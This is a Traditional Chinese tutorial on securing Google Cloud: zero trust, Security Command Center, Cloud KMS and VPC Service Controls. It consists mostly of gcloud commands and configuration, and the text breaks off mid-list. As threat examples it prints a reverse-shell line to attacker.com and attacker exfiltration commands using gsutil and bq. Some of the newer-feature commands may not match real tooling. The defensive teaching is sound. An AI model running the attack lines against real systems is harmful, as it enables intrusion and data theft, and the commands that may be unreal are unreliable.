企業級資安防護:GCP 安全架構與合規指南
前言
2024 年,全球資料外洩事件造成的平均損失來到 488 萬美元(IBM 2024 Cost of a Data Breach Report),而 83% 的企業至少踩過一次雲端資安事件。當核心業務搬上雲端,資安就不再是「加購選項」,而是攸關企業存亡的基礎設施。
這篇文章會帶你走過 Google Cloud 的企業級資安架構,從零信任模型一路談到合規認證,把整條雲端安全防線串起來。不管你是雲端架構師、DevOps 工程師,還是顧合規的 CISO,都能在這裡找到能直接拿來用的做法。
你將學到:
- ✅ 如何從傳統邊界防護轉向零信任架構(BeyondCorp Enterprise)
- ✅ 使用 Security Command Center 建立 24/7 威脅偵測機制
- ✅ 實作資料加密三階段與 Cloud KMS 金鑰管理
- ✅ 透過 VPC Service Controls 防止資料外洩
- ✅ 滿足 GDPR、SOC2、HIPAA 等國際合規要求
1. 企業雲端資安的三大挑戰與 GCP 安全核心概念
1.1 傳統資安模型在雲端時代的失效
傳統 IT 架構靠的是「城堡與護城河」模型來保護資料:
Internet ─[Firewall]─> DMZ ─[Firewall]─> Internal Network
🔴 🛡️ 🟡 🛡️ 🟢 Trusted
惡意 邊界 中立 邊界 可信任區域
這個模型假設:
- 外部 = 不可信任
- 內部 = 完全可信任
- 邊界 = 唯一防線
但搬到雲端後,這三個假設全部站不住腳:
| 挑戰 | 傳統 IT | 雲端環境 | 影響 |
|---|---|---|---|
| 邊界消失 | 明確的內外網邊界 | 遠端工作、SaaS 服務、多雲架構 | 無法定義「內部」 |
| 橫向移動 | 突破邊界後,內網暢行無阻 | 一個帳號被盜,所有服務淪陷 | 單點失效風險 |
| 內部威脅 | 假設員工可信任 | 帳號被盜、惡意內部人員、供應鏈攻擊 | 60% 資安事件源自內部 |
真實案例:
- 2023 Uber 資料外洩:攻擊者透過社交工程取得員工 VPN 憑證,進入內網後橫向移動,存取敏感資料庫
- 2022 Okta 供應鏈攻擊:第三方廠商帳號被盜,影響 366 家企業客戶
1.2 GCP 安全架構的三大支柱
Google Cloud 的資安架構,建立在三個核心原則上:
支柱一:縱深防禦(Defense in Depth)
不押寶在單一安全機制,而是做好多層防護:
Layer 7: 資料加密 (Cloud KMS, DLP)
Layer 6: 應用程式安全 (Cloud Armor, IAP)
Layer 5: 身份與存取管理 (IAM, BeyondCorp)
Layer 4: 網路安全 (VPC, Cloud Firewall)
Layer 3: 資源隔離 (Projects, Organizations)
Layer 2: 監控與偵測 (SCC, Cloud Logging)
Layer 1: 實體安全 (Google 資料中心)
關鍵設計:就算某一層被突破,其他層還是擋得住,核心資產不會直接曝光。
支柱二:零信任模型(Zero Trust)
核心理念:Never Trust, Always Verify(永不信任,總是驗證)
傳統模型: 身份驗證 → 完全信任
零信任模型: 身份驗證 → 情境驗證 → 最小權限授權 → 持續監控
每個請求都必須經過:
- 驗證身份:使用者是誰?(Authentication)
- 驗證裝置:裝置是否安全?(Device Posture)
- 驗證情境:從哪裡存取?存取什麼?(Context)
- 動態授權:給予最小必要權限(Authorization)
- 持續監控:偵測異常行為(Monitoring)
支柱三:共同責任模型(Shared Responsibility Model)
雲端安全不是 Google 一個人的事,是 Google 跟客戶一起扛:
| 責任層級 | Google 負責 | 客戶負責 |
|---|---|---|
| 實體基礎設施 | ✅ 資料中心安全、硬體加密 | ❌ |
| 網路基礎設施 | ✅ DDoS 防護、網路隔離 | ⚠️ VPC 設定、防火牆規則 |
| 平台服務 | ✅ 平台漏洞修補、服務可用性 | ⚠️ 服務設定、存取控制 |
| 資料與應用程式 | ❌ | ✅ 資料加密、IAM 權限、應用程式安全 |
關鍵提醒:Google 保護「雲端本身」,客戶保護「雲端上的資料」。
1.3 GCP 安全架構全景圖
把上面這些拼起來,GCP 企業級資安架構的全貌大概長這樣:
┌─────────────────────────────────────────────────────────────┐
│ 合規與治理層 (Compliance & Governance) │
│ • Organization Policy • Asset Inventory • Compliance Reports │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 身份與存取控制 (Identity & Access) │
│ • BeyondCorp Enterprise • IAM • Workload Identity │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 威脅偵測與監控 (Threat Detection & Monitoring) │
│ • Security Command Center • Cloud Logging • Cloud Monitoring│
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 網路與邊界防護 (Network & Perimeter Security) │
│ • VPC Service Controls • Cloud Firewall • Cloud Armor │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 資料保護 (Data Protection) │
│ • Cloud KMS • DLP • Encryption (at rest, in transit, in use)│
└─────────────────────────────────────────────────────────────┘
接下來就一層一層拆開來看,每層都附上實戰做法。
2. 零信任架構:BeyondCorp Enterprise 實戰
2.1 BeyondCorp:從 Google 內部專案到商業產品
起源故事: 2009 年 Google 中了 Aurora 攻擊(中國駭客入侵事件),傳統 VPN 模型當場破功。2011 年 Google 啟動 BeyondCorp 專案,想讓員工不靠 VPN 也能安全工作。
這套東西磨了 10 年,後來變成 Google 10 萬名員工唯一的存取方式。2021 年 Google 把它商用化,推出 BeyondCorp Enterprise(現已併入 Chrome Enterprise Premium)。
2.2 BeyondCorp Enterprise 的兩大核心能力(2026 最新)
根據 Google Cloud 官方文件,BeyondCorp Enterprise 提供:
能力一:情境感知存取控制(Context-Aware Access)
傳統存取控制只問一句「你是誰?」,BeyondCorp 還會接著問:
-
你從哪裡來?
- IP 位址、地理位置
- 是否透過公司網路?
-
你的裝置安全嗎?
- 作業系統版本是否最新?
- 是否安裝防毒軟體?
- 是否加密硬碟?
-
你要存取什麼?
- 存取的資源敏感度
- 請求的操作類型(讀取 vs 修改)
-
現在幾點?
- 是否在正常工作時間?
- 是否從異常時區存取?
實戰範例:
# BeyondCorp 存取政策範例
- name: '高敏感資料庫存取'
conditions:
- user_in_group: 'data-engineers'
- device_is_managed: true
- device_encryption: 'full_disk'
- ip_in_range: 'corporate_network OR trusted_vpn'
- time_of_day: '09:00-18:00'
- mfa_verified: true
action: 'ALLOW'
能力二:威脅與資料保護(Threat and Data Protection)
把安全防護一路延伸到終端使用者這一端:
-
瀏覽器層級 DLP(透過 Chrome Enterprise Premium)
- 阻止複製敏感資料至剪貼簿
- 防止下載敏感檔案至個人裝置
- 限制螢幕截圖與列印
-
即時威脅偵測
- 偵測異常登入行為(如深夜從異國 IP 登入)
- 偵測大量資料下載(可能的資料外洩)
-
零信任網路存取(ZTNA)
- 無需 VPN,直接透過身份驗證存取應用程式
- 支援 SaaS、內部部署、多雲環境
2.3 BeyondCorp Enterprise 多雲支援(2026 新特性)
根據 Google Cloud Blog,BeyondCorp Enterprise 現在支援:
- ✅ Google Cloud(原生支援)
- ✅ AWS(透過 App Connector)
- ✅ Azure(透過 App Connector)
- ✅ 內部部署環境(透過 App Connector)
架構圖:
BeyondCorp Enterprise
↓
┌────────────────┼────────────────┐
↓ ↓ ↓
Google Cloud AWS Azure
(原生支援) (App Connector) (App Connector)
↓ ↓ ↓
GKE Cluster EC2 Instances AKS Cluster
Cloud SQL RDS Database SQL Database
2.4 實戰:30 分鐘啟用 BeyondCorp Enterprise
Step 1: 啟用 Identity-Aware Proxy (IAP)
# 1. 啟用 IAP API
gcloud services enable iap.googleapis.com
# 2. 為後端服務啟用 IAP
gcloud compute backend-services update my-backend \
--iap=enabled \
--iap-oauth2-client-id=CLIENT_ID \
--iap-oauth2-client-secret=CLIENT_SECRET
Step 2: 設定存取政策
# 允許特定群組存取
gcloud iap web add-iam-policy-binding \
--resource-type=backend-services \
--service=my-backend \
--member='group:engineers@example.com' \
--role='roles/iap.httpsResourceAccessor'
Step 3: 設定情境感知存取等級(Access Levels)
透過 Google Cloud Console → Security → Access Context Manager:
# 範例:只允許公司管理裝置存取
- name: 'corporate_managed_devices'
conditions:
devicePolicy:
requireCorpOwned: true
requireScreenlock: true
osConstraints:
- osType: 'DESKTOP_WINDOWS'
minimumVersion: '10.0.19041' # Windows 10 20H1
Step 4: 測試存取
# 從未授權裝置測試(應被拒絕)
curl https://my-app.example.com
# 預期回應: 403 Forbidden
# 從授權裝置測試(應成功)
gcloud auth login
curl https://my-app.example.com -H "Authorization: Bearer $(gcloud auth print-identity-token)"
# 預期回應: 200 OK
2.5 BeyondCorp vs VPN:決策指南
| 面向 | 傳統 VPN | BeyondCorp Enterprise |
|---|---|---|
| 安全模型 | 網路邊界信任 | 零信任(每次請求驗證) |
| 使用者體驗 | 需手動連線 VPN | 無感存取 |
| 效能 | 所有流量經 VPN 閘道 | 直接連線至資源 |
| 管理複雜度 | 需維護 VPN 伺服器 | 全託管服務 |
| 多雲支援 | ❌ 需為每個雲端設定 | ✅ 統一存取政策 |
| 成本 | VPN 伺服器 + 頻寬 | $6/使用者/月(Chrome Enterprise Premium) |
建議:
- 🟢 選擇 BeyondCorp:遠端工作為主、多雲環境、SaaS 應用為主
- 🟡 選擇 VPN:高度受管制產業(如金融)、現有 VPN 投資龐大
- 🔵 混合模式:BeyondCorp(日常存取)+ VPN(特定合規要求)
3. Security Command Center:24/7 威脅偵測與風險管理
3.1 Security Command Center 三版本差異(2026 最新)
根據 東東 GCP 教學,Security Command Center (SCC) 提供三個版本:
| 功能 | Standard(免費) | Premium | Enterprise |
|---|---|---|---|
| Security Health Analytics | ✅ 200+ 偵測器 | ✅ | ✅ |
| Web Security Scanner | ✅ | ✅ | ✅ |
| 異常檢測 | ❌ | ✅ | ✅ |
| Container Threat Detection | ❌ | ✅ | ✅ |
| VM Threat Detection | ❌ | ✅ | ✅ |
| Event Threat Detection | ❌ | ✅ | ✅ |
| 跨雲支援(AWS) | ❌ | ❌ | ✅ |
| CIEM Findings | ❌ | ❌ | ✅ |
| 加密貨幣挖礦防護計畫 | ❌ | ✅ 最高 $100,000 | ✅ 最高 $1,000,000 |
2024-2026 重大更新(根據 Release Notes):
- 2024年12月18日:SCC Enterprise 推出新版本 use case,引入安全態勢發現手冊
- 2024年11月13日:支援 AWS 環境的 CIEM findings(不活躍用戶、過度寬鬆信任策略)
- 2024年10月:Container Threat Detection 推出三個新偵測器(Premium/Enterprise)
- 2024年9月:VM Threat Detection 的 Rootkit 偵測器正式發布
3.2 Security Health Analytics:200+ 自動偵測器
Security Health Analytics 內建超過 200 個偵測器,會自動掃 GCP 環境裡的漏洞跟設定錯誤。
高風險偵測器範例:
| 偵測器 | 威脅等級 | 說明 | 修復建議 |
|---|---|---|---|
| PUBLIC_BUCKET_ACL | 🔴 Critical | Cloud Storage bucket 對外公開 | 移除 allUsers 權限 |
| OPEN_FIREWALL | 🔴 Critical | 防火牆規則允許 0.0.0.0/0 存取 | 限制來源 IP 範圍 |
| WEAK_SSL_POLICY | 🟠 High | 負載平衡器使用弱 SSL 協定(TLS 1.0/1.1) | 啟用 TLS 1.2+ |
| KMS_KEY_NOT_ROTATED | 🟡 Medium | Cloud KMS 金鑰超過 90 天未輪替 | 啟用自動輪替 |
| OVER_PRIVILEGED_ACCOUNT | 🟠 High | 服務帳號擁有過多權限 | 套用最小權限原則 |
實戰:查詢高風險發現
# 列出所有 Critical 等級的發現
gcloud scc findings list organizations/123456789 \
--filter="severity=CRITICAL AND state=ACTIVE" \
--format="table(category,resourceName,eventTime)"
# 範例輸出:
# CATEGORY RESOURCE_NAME EVENT_TIME
# PUBLIC_BUCKET_ACL //storage.googleapis.com/my-bucket 2026-12-20T10:30:00Z
# OPEN_FIREWALL //compute.googleapis.com/firewall/allow-all 2026-12-19T15:45:00Z
3.3 威脅偵測服務:Container & VM Threat Detection
Container Threat Detection(容器威脅偵測)
自動抓出 GKE 集群裡的惡意活動:
三個新偵測器(2024年10月發布):
- Added Binary Executed:偵測在執行中容器內新增並執行的二進位檔案
- Added Library Loaded:偵測載入的異常函式庫
- Reverse Shell:偵測反向 Shell 連線(常見攻擊手法)
真實案例:
威脅類型: Reverse Shell
嚴重程度: High
容器: production-api-pod-abc123
命令: bash -i >& /dev/tcp/attacker.com/4444 0>&1
VM Threat Detection(虛擬機威脅偵測)
Rootkit 偵測器(2024年9月正式發布):
# 啟用 Security Command Center API(前提)
gcloud services enable securitycenter.googleapis.com
# 啟用 VM Threat Detection 模組(organization / folder / project 層級)
gcloud scc manage services update vm-threat-detection \
--organization=ORGANIZATION_ID \
--enablement-state=ENABLED
# 查詢 Rootkit 偵測結果
gcloud scc findings list organizations/123456789 \
--filter="category:Malware: Rootkit" \
--format="table(resourceName,category,eventTime)"
偵測範例:
- ❌ 偵測到 Rootkit:
/lib/modules/evil-rootkit.ko - ❌ 偵測到加密貨幣挖礦程式:
xmrig在 VM 執行 - ❌ 偵測到憑證竊取:嘗試讀取
/root/.ssh/id_rsa
3.4 Event Threat Detection:偵測異常行為
用機器學習揪出帳號跟 API 的異常活動:
偵測場景:
| 異常類型 | 範例 | 風險 |
|---|---|---|
| Impossible Travel | 使用者 10 分鐘內從台北、倫敦登入 | 帳號被盜 |
| Brute Force SSH | 同一 IP 在 5 分鐘內嘗試 100 次 SSH 登入 | 暴力破解攻擊 |
| Data Exfiltration | 使用者在 1 小時內下載 10 TB 資料 | 資料外洩 |
| Privilege Escalation | 低權限帳號突然建立 IAM admin 角色 | 權限提升攻擊 |
實戰:設定異常告警
# 建立 Pub/Sub 主題接收 SCC 通知
gcloud pubsub topics create scc-notifications
# 建立 SCC 通知設定
gcloud scc notifications create high-severity-alerts \
--organization=123456789 \
--pubsub-topic=projects/my-project/topics/scc-notifications \
--filter="severity=HIGH OR severity=CRITICAL"
# 訂閱通知(範例:發送至 Slack)
gcloud functions deploy scc-to-slack \
--runtime=python310 \
--trigger-topic=scc-notifications \
--entry-point=send_to_slack
3.5 加密貨幣挖礦防護計畫(Crypto Mining Protection)
根據 思想科技報導:
保障內容:
- 適用版本:Premium ($35/專案/月)、Enterprise ($170/專案/月)
- 保障上限:
- Premium:最高 $100,000 美元抵免額
- Enterprise:最高 $1,000,000 美元抵免額
- 觸發條件:
- VM 被入侵用於挖礦
- SCC 未偵測到且未通知
- 客戶提出申請並經 Google 審核
如何避免誤觸:
- ✅ 啟用 VM Threat Detection
- ✅ 定期檢查 SCC Findings
- ✅ 設定即時告警通知
🆕 3.6 Security Command Center 2025-2026 重要更新
根據 Security Command Center Release Notes,SCC 在 2025-2026 年推出了以下重要更新:
1. ⚠️ 發現結果保留期限變更(2026 年 5 月 26 日生效)
變更內容:
- 舊規則:發現結果(Findings)無限期保留
- 新規則:發現結果保留期限縮短為 90 天
- 生效日期:2026 年 5 月 26 日起
影響範圍:
- Standard Tier(標準版):受影響
- Premium Tier(進階版):受影響
- 90 天後,發現結果將自動刪除,無法復原
因應措施:
# 方案一:匯出至 BigQuery(建議長期保存)
gcloud scc findings export-to-bigquery \
--organization=ORGANIZATION_ID \
--dataset=security_findings \
--table=scc_findings_history
# 方案二:匯出至 Cloud Storage(定期備份)
gcloud scc findings export \
--organization=ORGANIZATION_ID \
--filter="category='MALWARE'" \
--output-file=gs://security-archive/findings-$(date +%Y%m%d).json
# 方案三:設定定期匯出(推薦)
# 建立 Cloud Scheduler job,每日自動匯出至 BigQuery
gcloud scheduler jobs create http scc-daily-export \
--schedule="0 2 * * *" \
--uri="https://securitycenter.googleapis.com/v1/organizations/ORGANIZATION_ID/sources/-/findings:export" \
--http-method=POST \
--message-body='{"outputConfig": {"bigQueryExports": {"datasetId": "security_findings"}}}'
2. 🆕 Correlated Threats(威脅關聯分析,預覽版)
功能說明:
- 自動關聯:SCC 自動分析多個發現結果,識別潛在的攻擊鏈(Attack Chain)
- 威脅情境:將單一事件串聯成完整攻擊情境(如:偵察 → 初始入侵 → 權限提升 → 橫向移動)
- 優先級排序:根據威脅嚴重程度自動調整優先級
範例場景:
威脅關聯分析結果:
[偵察階段] → [初始入侵] → [權限提升] → [資料外洩]
↓ ↓ ↓ ↓
異常端口掃描 惡意登入嘗試 IAM 權限變更 大量資料下載
(Low) (Medium) (High) (Critical)
整體威脅等級: CRITICAL
建議動作: 立即隔離受影響帳號、審查 IAM 變更、檢查資料外洩範圍
啟用方式(Premium Tier 限定)**:
# 啟用 Correlated Threats(需 Premium Tier)
gcloud scc settings update \
--organization=ORGANIZATION_ID \
--enable-correlated-threats
# 查詢關聯威脅
gcloud scc findings list-correlated \
--organization=ORGANIZATION_ID \
--filter="state=ACTIVE" \
--order-by="severity desc"
3. 🆕 Certificate-Based Access for VPC Service Controls(正式推出)
根據 VPC Service Controls Certificate-Based Access,VPC-SC 現已支援憑證型存取控制(GA):
功能優勢:
- 強認證:使用 X.509 憑證驗證裝置身份,比 IP 白名單更安全
- 零信任架構:實現裝置級別的存取控制
- 適用場景:遠端辦公、BYOD(Bring Your Own Device)、合作夥伴存取
設定範例:
# access-level-with-cert.yaml
accessLevels:
- name: 'accessPolicies/POLICY_ID/accessLevels/device_with_cert'
title: 'Devices with Valid Certificate'
basic:
conditions:
- devicePolicy:
requireCorpOwned: true
requireScreenlock: true
regions:
- 'TW'
- 'US'
combiningFunction: AND
# 🆕 憑證型驗證(2026 GA)
custom:
expr:
expression: 'has(request.auth.claims.cert_fingerprint) && request.auth.claims.cert_fingerprint in ["SHA256:abc123...", "SHA256:def456..."]'
gcloud access-context-manager levels update device_with_cert \
--policy=POLICY_ID \
--custom-level-spec=access-level-with-cert.yaml
4. ⚠️ Security Health Analytics 允許清單變更(2026 年 4 月 15 日)
變更內容:
- Security Health Analytics 的允許清單(Allowlist)功能已調整
- 新增:支援正規表示式(Regex)批次排除資源
- 改善:排除規則優先級邏輯調整
遷移指南:
# 舊版允許清單(僅支援精確匹配)
gcloud scc sources findings update FINDING_ID \
--organization=ORGANIZATION_ID \
--source=SOURCE_ID \
--mute=MUTED
# 🆕 新版允許清單(支援 Regex)
gcloud scc muteconfigs create dev-instances-mute \
--organization=ORGANIZATION_ID \
--description="Mute findings for development instances" \
--filter='resource.name: "//compute.googleapis.com/projects/my-project/zones/*/instances/dev-*"'
4. 資料加密三階段與 Cloud KMS 金鑰管理
4.1 資料加密三階段:靜態、傳輸中、使用中
Google Cloud 的資料保護分成三個層級:
┌───────────────────────────────────────────────────────┐
│ 階段三:使用中加密 (Encryption in Use) │
│ • Confidential Computing (Confidential VMs) │
│ • 在記憶體中保持加密,防止管理員窺探 │
└───────────────────────────────────────────────────────┘
↑
┌───────────────────────────────────────────────────────┐
│ 階段二:傳輸中加密 (Encryption in Transit) │
│ • TLS 1.3(對外連線) │
│ • Application Layer Transport Security(內部服務) │
└───────────────────────────────────────────────────────┘
↑
┌───────────────────────────────────────────────────────┐
│ 階段一:靜態加密 (Encryption at Rest) │
│ • 預設:Google 管理的金鑰(自動) │
│ • 進階:Customer-Managed Encryption Keys (CMEK) │
│ • 最高:External Key Manager (EKM, HYOK) │
└───────────────────────────────────────────────────────┘
階段一:靜態加密(Encryption at Rest)
Google 預設加密:
- ✅ 全自動:所有資料寫入磁碟前自動加密(AES-256)
- ✅ 透明:應用程式無需修改
- ✅ 無額外成本
三種金鑰管理模式:
| 模式 | 金鑰儲存位置 | 適用場景 | 合規要求 |
|---|---|---|---|
| Google-managed | Google 管理 | 一般應用 | ❌ 不滿足「客戶控制金鑰」要求 |
| CMEK | Cloud KMS(客戶控制) | 企業應用 | ✅ 滿足大多數合規要求 |
| EKM | 外部金鑰管理系統(客戶自管) | 高度監管產業 | ✅✅ 滿足 HYOK 要求 |
階段二:傳輸中加密(Encryption in Transit)
對外連線:
- 所有對外 API 強制使用 TLS 1.2+
- 2026 年起,TLS 1.0/1.1 全面停用
內部服務通訊:
- Application Layer Transport Security (ALTS)
- 自動加密 GCP 內部服務間的通訊(如 Compute Engine ↔ Cloud Storage)
階段三:使用中加密(Encryption in Use)
Confidential Computing:
- 使用 AMD SEV(Secure Encrypted Virtualization)技術
- 資料在 CPU 記憶體中保持加密狀態
- 防止:
- ❌ 雲端管理員窺探記憶體
- ❌ Hypervisor 層級攻擊
- ❌ 實體記憶體竊取
啟用 Confidential VM:
gcloud compute instances create confidential-vm \
--zone=us-central1-a \
--machine-type=n2d-standard-2 \
--confidential-compute \
--maintenance-policy=TERMINATE
4.2 Cloud KMS:集中式金鑰管理
根據 Cloud KMS 官方文件,Cloud KMS 提供:
金鑰保護等級
| 等級 | 說明 | 認證 | 成本 |
|---|---|---|---|
| Software | 軟體加密模組 | FIPS 140-2 Level 1 | $0.06/金鑰/月 |
| HSM | 硬體安全模組 | FIPS 140-2 Level 3 | $2.50/金鑰/月 |
| EKM | 外部金鑰管理(BYOK/HYOK) | 取決於外部系統 | $3.00/金鑰/月 + 外部 KMS 成本 |
信封加密(Envelope Encryption)架構
Cloud KMS 使用「信封加密」保護資料:
Data (明文資料)
↓
[加密] ← DEK (Data Encryption Key, 資料加密金鑰)
↓
Encrypted Data (加密資料)
+
Wrapped DEK (被包裝的 DEK)
↑
[加密] ← KEK (Key Encryption Key, 金鑰加密金鑰, 儲存於 Cloud KMS)
優勢:
- 效能:大量資料使用 DEK 加密(本地)
- 安全:DEK 本身被 KEK 加密(KEK 永不離開 KMS)
- 金鑰輪替:只需輪替 KEK,無需重新加密所有資料
4.3 實戰:建立與使用 Cloud KMS 金鑰
Step 1: 建立金鑰環與金鑰
# 1. 建立金鑰環(Key Ring,金鑰的容器)
gcloud kms keyrings create production-keyring \
--location=global
# 2. 建立對稱金鑰(用於 CMEK)
gcloud kms keys create database-encryption-key \
--location=global \
--keyring=production-keyring \
--purpose=encryption \
--rotation-period=90d \
--next-rotation-time=2026-03-26T00:00:00Z
Step 2: 使用 CMEK 加密 Cloud Storage
# 授予 Cloud Storage 服務帳號使用金鑰的權限
gcloud kms keys add-iam-policy-binding database-encryption-key \
--location=global \
--keyring=production-keyring \
--member=serviceAccount:service-123456@gs-project-accounts.iam.gserviceaccount.com \
--role=roles/cloudkms.cryptoKeyEncrypterDecrypter
# 建立使用 CMEK 的 bucket
gcloud storage buckets create gs://my-encrypted-bucket \
--location=us-central1 \
--default-encryption-key=projects/my-project/locations/global/keyRings/production-keyring/cryptoKeys/database-encryption-key
Step 3: 使用 CMEK 加密 Cloud SQL
gcloud sql instances create encrypted-db \
--database-version=POSTGRES_15 \
--tier=db-n1-standard-1 \
--region=us-central1 \
--disk-encryption-key=projects/my-project/locations/us-central1/keyRings/production-keyring/cryptoKeys/database-encryption-key
4.4 金鑰管理五大最佳實踐(2026)
根據 Cloud KMS Security Deep Dive:
1. 金鑰輪替(Key Rotation)
# 檢查金鑰輪替狀態
gcloud kms keys describe database-encryption-key \
--location=global \
--keyring=production-keyring \
--format="value(rotationPeriod, nextRotationTime)"
# 建議輪替週期:
# • 高敏感資料:30-60 天
# • 一般資料:90 天
# • 低敏感資料:365 天
2. 分離職責(Separation of Duties)
# 金鑰管理員:可管理金鑰,但不能使用
gcloud kms keyrings add-iam-policy-binding production-keyring \
--location=global \
--member=user:admin@example.com \
--role=roles/cloudkms.admin
# 金鑰使用者:可使用金鑰,但不能刪除
gcloud kms keys add-iam-policy-binding database-encryption-key \
--location=global \
--keyring=production-keyring \
--member=serviceAccount:app@my-project.iam.gserviceaccount.com \
--role=roles/cloudkms.cryptoKeyEncrypterDecrypter
3. 啟用金鑰版本(Key Versioning)
# 手動建立新版本(用於非對稱金鑰)
gcloud kms keys versions create \
--location=global \
--keyring=production-keyring \
--key=signing-key
# 停用舊版本
gcloud kms keys versions disable 1 \
--location=global \
--keyring=production-keyring \
--key=signing-key
4. 監控金鑰使用(Key Usage Monitoring)
# 查詢金鑰使用日誌
gcloud logging read "resource.type=cloudkms_cryptokey AND \
protoPayload.resourceName:database-encryption-key" \
--limit=50 \
--format=json
# 設定告警:金鑰被異常帳號使用
gcloud alpha monitoring policies create \
--notification-channels=CHANNEL_ID \
--display-name="KMS Key Unusual Access" \
--condition-display-name="Key accessed by non-service account" \
--condition-threshold-value=1 \
--condition-filter='resource.type="cloudkms_cryptokey" AND protoPayload.authenticationInfo.principalEmail!~".*gserviceaccount.com$"'
5. 災難復原計畫(Disaster Recovery)
# 匯出金鑰元資料(不包含實際金鑰材料)
gcloud kms keys describe database-encryption-key \
--location=global \
--keyring=production-keyring \
--format=json > key-metadata-backup.json
# IMPORTANT: Cloud KMS 金鑰無法匯出實際金鑰材料(by design)
# 災難復原策略:
# 1. 使用 Organization Policy 防止金鑰刪除
# 2. 啟用 VPC Service Controls 防止金鑰外洩
# 3. 定期備份使用該金鑰加密的資料
4.5 Secret Manager:API 金鑰與敏感設定管理
Secret Manager 是 GCP 的機密管理服務,用於安全儲存 API 金鑰、資料庫密碼、TLS 憑證等敏感資料:
# 建立 Secret
echo -n "my-database-password" | gcloud secrets create db-password \
--data-file=- \
--replication-policy=automatic
# 存取 Secret(取得最新版本)
gcloud secrets versions access latest --secret=db-password
# 新增版本(密碼輪換)
echo -n "new-password-2026" | gcloud secrets versions add db-password --data-file=-
# 停用舊版本
gcloud secrets versions disable 1 --secret=db-password
Secret Manager vs 環境變數
| 方式 | 安全性 | 稽核 | 輪換 | 適合場景 |
|---|---|---|---|---|
| 寫在程式碼裡 | 🔴 極危險 | 無 | 手動 | 永遠不要這樣做 |
| 環境變數 | 🟡 中等 | 無 | 手動 | 非敏感設定 |
| Secret Manager | 🟢 安全 | ✅ 完整稽核日誌 | ✅ 版本管理 | API 金鑰、密碼、憑證 |
| Cloud KMS | 🟢 安全 | ✅ 完整稽核日誌 | ✅ 自動輪換 | 加密金鑰管理 |
與其他服務整合
# Cloud Run / Cloud Functions 存取 Secret Manager
from google.cloud import secretmanager
client = secretmanager.SecretManagerServiceClient()
name = "projects/my-project/secrets/db-password/versions/latest"
response = client.access_secret_version(request={"name": name})
password = response.payload.data.decode("UTF-8")
ACE 考試重點:遇到「如何安全管理應用程式的資料庫密碼」的題目,Secret Manager 是正確答案。不要選環境變數或寫在 app.yaml 裡。
5. VPC Service Controls:防止資料外洩的最後一道防線
5.1 VPC Service Controls 解決的核心問題
場景: 你的 DevOps 工程師帳號被盜,攻擊者拿到了 IAM 權限。就算你的 IAM 設定一點問題都沒有,攻擊者照樣可以這樣搞:
# 攻擊者使用被盜帳號
gsutil cp gs://sensitive-data/* /tmp/exfiltrated/
bq extract mydataset.customers gs://attacker-bucket/
IAM 的限制:
- ✅ IAM 回答「誰可以存取?」
- ❌ IAM 不回答「資料可以去哪裡?」
VPC Service Controls 的價值:
- 幫你圈出一條「服務邊界(Service Perimeter)」
- 就算手上有 IAM 權限,資料也出不了這條邊界
5.2 VPC Service Controls 運作原理
┌────────────────────────────────────────────────────────┐
│ Service Perimeter (服務邊界) │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Project A│ │ Project B│ │ Project C│ │
│ │ │ │ │ │ │ │
│ │ Cloud │ │ BigQuery │ │ Cloud │ │
│ │ Storage │◄──┤ Dataset ├──►│ SQL │ │
│ └──────────┘ └──────────┘ └──────────┘ │
│ │
│ ✅ 邊界內的專案可互相存取資料 │
│ ❌ 邊界外的專案無法存取(即使有 IAM 權限) │
└────────────────────────────────────────────────────────┘
↑ ↓
✅ Ingress Rules ❌ Egress Rules
(允許特定來源進入) (禁止資料離開)
5.3 建立 Service Perimeter 實戰
Step 1: 建立存取政策(Access Policy)
# 1. 建立組織層級的存取政策
gcloud access-context-manager policies create \
--organization=123456789 \
--title="Production Environment Policy"
Step 2: 定義服務邊界(Service Perimeter)
# 2. 建立服務邊界
gcloud access-context-manager perimeters create production_perimeter \
--title="Production Data Perimeter" \
--resources="projects/123456,projects/789012" \
--restricted-services="storage.googleapis.com,bigquery.googleapis.com" \
--policy=POLICY_ID
說明:
--resources: 邊界內的專案列表--restricted-services: 受保護的 GCP 服務(完整清單)
Step 3: 設定 Ingress Rules(允許特定來源進入)
# ingress-rule.yaml
ingressPolicies:
- ingressFrom:
sources:
- accessLevel: 'accessPolicies/POLICY_ID/accessLevels/trusted_users'
ingressTo:
resources:
- 'projects/123456'
operations:
- serviceName: 'storage.googleapis.com'
methodSelectors:
- method: 'google.storage.objects.get'
- method: 'google.storage.objects.list'
gcloud access-context-manager perimeters update production_perimeter \
--set-ingress-policies=ingress-rule.yaml \
--policy=POLICY_ID
Step 4: 設定 Egress Rules(允許資料流向特定目的地)
# egress-rule.yaml
egressPolicies:
- egressFrom:
identities:
- 'serviceAccount:analytics@my-project.iam.gserviceaccount.com'
egressTo:
resources:
- 'projects/analytics-project' # 允許資料流向分析專案
operations:
- serviceName: 'bigquery.googleapis.com'
methodSelectors:
- method: 'google.cloud.bigquery.v2.JobService.InsertJob'
gcloud access-context-manager perimeters update production_perimeter \
--set-egress-policies=egress-rule.yaml \
--policy=POLICY_ID
5.4 測試 VPC Service Controls
測試場景一:阻止資料複製至邊界外
# ❌ 嘗試從邊界內的 bucket 複製資料至邊界外(應失敗)
gsutil cp gs://production-data/sensitive.csv gs://external-bucket/
# 預期錯誤:
# AccessDeniedException: 403 Request violates VPC Service Controls
測試場景二:允許邊界內的資料流動
# ✅ 邊界內的專案互相存取(應成功)
bq query --use_legacy_sql=false \
'SELECT * FROM `project-a.dataset.table` LIMIT 10'
# 預期: 成功回傳資料
5.5 VPC Service Controls 最佳實踐
根據 Protecting resources with VPC Service Controls:
1. 使用 Dry Run Mode 測試
# 建立 Dry Run 邊界(不強制執行,僅記錄)
gcloud access-context-manager perimeters create test_perimeter \
--title="Test Perimeter (Dry Run)" \
--resources="projects/123456" \
--restricted-services="storage.googleapis.com" \
--perimeter-type=PERIMETER_TYPE_REGULAR \
--enable-vpc-accessible-services \
--policy=POLICY_ID
# 檢查 Dry Run 日誌
gcloud logging read "protoPayload.metadata.dryRun=true" --limit=50
2. 分階段部署
Phase 1: Dry Run (1-2 週) → 觀察影響範圍
↓
Phase 2: Enforced Mode (部分專案) → 驗證無誤
↓
